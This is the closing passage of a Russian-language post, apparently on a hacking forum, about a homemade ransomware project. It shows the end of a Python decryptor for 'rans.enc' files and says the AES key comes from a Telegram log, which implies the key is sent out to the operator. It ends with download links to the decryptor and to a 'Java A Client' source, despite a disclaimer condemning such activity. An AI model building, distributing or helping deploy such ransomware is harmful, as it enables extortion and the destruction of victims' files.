                print(f"Файл {filename} успешно дешифрован и сохранён как {output_image_path}.")

            except Exception as e:
                print(f"Ошибка обработки файла {filename}: {e}")

    if not files_found:
        print(f"В директории {encoded_images_dir} нету 'rans.enc'.")

def main():
    key_file = 'aes_key.txt' 
    encoded_images_directory = 'EncodedImages' 
    decrypted_images_directory = 'DecryptedImages'

    key = load_aes_key(key_file)
    if key is None:
        print("Err AES")
        return

    process_encrypted_files(encoded_images_directory, decrypted_images_directory, key)

if __name__ == "__main__":
    main()

aes_key.txt - ваш AES ключ из лога в Telegram.
EncodedImages - исходные шифр данные.
DecryptedImages - тут будут на выходе дешифрованные данные.

Спойлер: ошибочка красивая
Был небольшой баг где после шифрования и дешифрования файлы бились и выходила такая красота -

1730546263966.png


Спасибо за внимание!

Надеюсь, вам было интересно. В завершение хочу еще раз подчеркнуть, что это не коммерческий проект.
Я не получаю с него никакой выгоды и осуждаю подобную деятельность.

Если у вас возникли вопросы или дополнения, или требуется помощь, буду рад ответить и помочь.


:smile10: Source Code отправил через exploit.send если ссылка умрет то отпишите -

https://send.exploit.in/download/673fcc25e69e938d/#u81ualjTVHjwIj9nhuAgyg - Python Decrypt - Source Code

https://send.exploit.in/download/90df07a97129c4e2/#rhR89Iw0jZ3yV6xf0C9cbw - Java A Client - Source Code


NMZ
 
Сверху Снизу